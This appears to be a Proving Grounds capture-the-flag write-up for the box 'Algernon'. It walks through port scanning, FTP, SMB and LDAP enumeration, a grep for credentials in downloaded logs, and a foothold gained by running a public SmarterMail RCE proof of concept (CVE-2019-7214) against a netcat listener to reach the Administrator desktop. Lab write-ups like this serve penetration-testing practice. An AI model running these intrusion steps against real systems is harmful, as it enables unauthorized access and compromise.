Algernon - Proving Grounds

Enumeration

Let's start by enumerating all TCP ports with nmap.
nmap -sCV -p- --min-rate 1000 -T4 192.168.216.65
Pasted image 20240913115438.png
Pasted image 20240913115451.png
We have FTP (port 21), IIS server (port 80), ldap (port 389), SMB (port 445) so let's go to FTP server first.

FTP

Let's try to access with anonymous access and see what can find.
ftp 192.168.216.65
anonymous
Pasted image 20240913115735.png
Since i only found a folder called Logs with information i will use mget command to download all the files to my local machine.
cd Logs
mget *
Now on my local machine i tried to find some information on log files but without success.
grep -E -i '(username|user|login|email).*(password|pass|pwd|key)|password.*:|pass.*:|login.*:|user.*:|key.*:' *.log
Pasted image 20240913120855.png
Since i didn't found nothing let's explore SMB.

SMB

Let's see if i can access with Null Session to enumerate available shares using smbclient.
smbclient -N -L //192.168.216.65
Pasted image 20240913121018.png
Since we can't get any information let's go to LDAP.

LDAP

I will use windapsearch.py to enumerate users on DC.
python windapsearch.py --dc-ip 192.168.216.65 -U
Pasted image 20240913121248.png
Let's jump to IIS Server to look for more information.

IIS server - port 80

http://192.168.216.65/
Pasted image 20240913121436.png
Since here is a default static page i will try to look on port 9998 that seems insteresting.
http://192.168.216.65:9998/interface/root#/login
Pasted image 20240913121529.png
So here we have a Login page about SmarterMail that need email and password.

Foothold - SmarterMail

I searched for smartermail exploit on google wich i found this link that talks about a Remote Code Execution vulnerability known as CVE-2019-7214 and so i downloaded the POC to my local machine and change some parameters on him.
nano cve-2019-7214.py
Pasted image 20240913122744.png
chmod +x cve-2019-7214.py
Now i just have to start a listener and execute the POC.
nc -lvnp 4444
python3 cve-2019-7214.py
Pasted image 20240913122403.png
Now let's get root flag.
cd C:\Users\Administrator\Desktop
dir
Pasted image 20240913122445.png